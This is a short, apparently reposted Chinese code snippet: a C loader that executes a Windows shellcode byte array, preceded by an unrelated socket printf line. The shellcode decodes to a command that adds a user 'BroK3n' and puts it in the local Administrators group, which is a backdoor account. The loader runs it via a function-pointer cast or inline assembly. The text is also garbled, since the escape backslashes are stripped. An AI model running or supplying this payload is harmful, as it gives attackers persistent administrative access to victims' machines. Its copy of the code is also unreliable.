socket

printf("客户机%s:%d成功接入 ",inet_ntoa(client.sin_addr),client.sin_port);

验证shellcode

include<windows.h>

unsigned char shellcode[]=
"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03"
"x78x3cx8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01xc6x45x81x3ex57x69x6ex45x75xf2x8bx7a"
"x24x01xc7x66x8bx2cx6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x4bx33x6ex01x68x20x42x72x6fx68x2f"
"x41x44x44x68x6fx72x73x20x68x74x72x61x74x68x69x6ex69x73x68x20x41x64x6dx68x72x6fx75x70x68x63"
"x61x6cx67x68x74x20x6cx6fx68x26x20x6ex65x68x44x44x20x26x68x6ex20x2fx41x68x72x6fx4bx33x68x33"
"x6ex20x42x68x42x72x6fx4bx68x73x65x72x20x68x65x74x20x75x68x2fx63x20x6ex68x65x78x65x20x68x63"
"x6dx64x2ex89xe5xfex4dx53x31xc0x50x55xffxd7";

int main()
{
//((void(*)(void))&shellcode)();//第一种方法
_asm
{
lea eax,shellcode //第二种方法
call eax
}
return 0;
}

原文地址:https://www.cnblogs.com/poli/p/4996309.html